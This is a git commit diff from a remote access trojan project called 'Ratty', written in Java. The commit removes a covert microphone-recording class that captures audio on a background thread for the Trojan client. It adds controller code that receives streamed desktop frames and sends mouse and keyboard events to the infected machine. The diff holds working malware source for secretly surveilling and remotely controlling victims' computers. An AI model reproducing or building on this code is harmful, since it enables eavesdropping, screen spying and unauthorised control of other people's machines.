Browse Source

Small changes

Removed Microphone stream
master
Sogomn 9 years ago
parent
commit
ad452c9479
  1. 7
      Ratty/src/de/sogomn/rat/IRecorderListener.java
  2. 21
      Ratty/src/de/sogomn/rat/Trojan.java
  3. 93
      Ratty/src/de/sogomn/rat/VoiceRecorder.java
  4. 21
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

7
Ratty/src/de/sogomn/rat/IRecorderListener.java

@ -1,7 +0,0 @@
package de.sogomn.rat;
public interface IRecorderListener {
void done(final VoiceRecorder source, final byte[] data);
}

21
Ratty/src/de/sogomn/rat/Trojan.java

@ -1,34 +1,15 @@
package de.sogomn.rat;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.VoicePacket;
public final class Trojan implements IConnectionObserver {
private VoiceRecorder voiceRecorder;
private byte[] lastData;
private static final int MICROPHONE_BUFFER_SIZE = 1024 << 6;
public Trojan() {
voiceRecorder = new VoiceRecorder(MICROPHONE_BUFFER_SIZE);
lastData = new byte[0];
voiceRecorder.addListener((source, data) -> {
lastData = data;
source.start();
});
//...
}
@Override
public void packetReceived(final ActiveConnection client, final IPacket packet) {
if (packet instanceof VoicePacket) {
final VoicePacket voice = (VoicePacket)packet;
voiceRecorder.start();
voice.setData(lastData);
}
packet.execute(client);
}

93
Ratty/src/de/sogomn/rat/VoiceRecorder.java

@ -1,93 +0,0 @@
package de.sogomn.rat;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import javax.sound.sampled.AudioSystem;
import javax.sound.sampled.LineUnavailableException;
import javax.sound.sampled.TargetDataLine;
import de.sogomn.engine.util.AbstractListenerContainer;
public final class VoiceRecorder extends AbstractListenerContainer<IRecorderListener> {
private ByteArrayOutputStream out;
private TargetDataLine line;
private Thread thread;
private int limit;
private static final int BUFFER_SIZE = 1024;
public VoiceRecorder(final int maximum) {
this.limit = maximum;
}
public VoiceRecorder() {
this(0);
}
private byte[] getData() {
final byte[] data = out.toByteArray();
out.reset();
return data;
}
private void captureAudio() {
try {
final byte[] data = new byte[BUFFER_SIZE];
line.read(data, 0, BUFFER_SIZE);
out.write(data);
} catch (final IOException ex) {
ex.printStackTrace();
}
}
public void start() {
final Runnable runnable = () -> {
while (out.size() < limit) {
captureAudio();
}
stop();
final byte[] data = getData();
notifyListeners(listener -> listener.done(this, data));
};
try {
out = new ByteArrayOutputStream();
line = AudioSystem.getTargetDataLine(null);
thread = new Thread(runnable);
line.open();
line.start();
thread.setDaemon(true);
thread.start();
} catch (final LineUnavailableException ex) {
stop();
}
}
public void stop() {
try {
thread.interrupt();
line.close();
out.close();
} catch (final IOException ex) {
//...
} finally {
thread = null;
line = null;
}
}
public void setLimit(final int limit) {
this.limit = limit;
}
}

21
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -26,6 +26,7 @@ import de.sogomn.rat.packet.VoicePacket;
import de.sogomn.rat.packet.WebsitePacket;
import de.sogomn.rat.server.AbstractRattyController;
import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.util.FrameEncoder.IFrame;
/*
* Woah, this is a huge class.
@ -229,9 +230,9 @@ public final class RattyGuiController extends AbstractRattyController implements
packet = createDeletePacket(client);
} else if (command == FileTree.NEW_FOLDER) {
packet = createFolderPacket(client);
} else if (command == DisplayPanel.MOUSE_EVENT) {
} else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) {
packet = client.displayPanel.getLastMouseEventPacket();
} else if (command == DisplayPanel.KEY_EVENT) {
} else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) {
packet = client.displayPanel.getLastKeyEventPacket();
}
@ -258,6 +259,20 @@ public final class RattyGuiController extends AbstractRattyController implements
}
}
private void handleDesktopPacket(final ServerClient client, final DesktopPacket packet) {
if (!client.isStreamingDesktop()) {
return;
}
final IFrame[] frames = packet.getFrames();
final int screenWidth = packet.getScreenWidth();
final int screenHeight = packet.getScreenHeight();
final DesktopPacket request = new DesktopPacket();
client.connection.addPacket(request);
client.displayPanel.showFrames(frames, screenWidth, screenHeight);
}
private boolean handlePacket(final ServerClient client, final IPacket packet) {
final Class<? extends IPacket> clazz = packet.getClass();
@ -272,7 +287,9 @@ public final class RattyGuiController extends AbstractRattyController implements
handleFiles(client, request);
} else if (clazz == DesktopPacket.class) {
final DesktopPacket desktop = (DesktopPacket)packet;
handleDesktopPacket(client, desktop);
} else {
consumed = false;
}

Loading…
Cancel
Save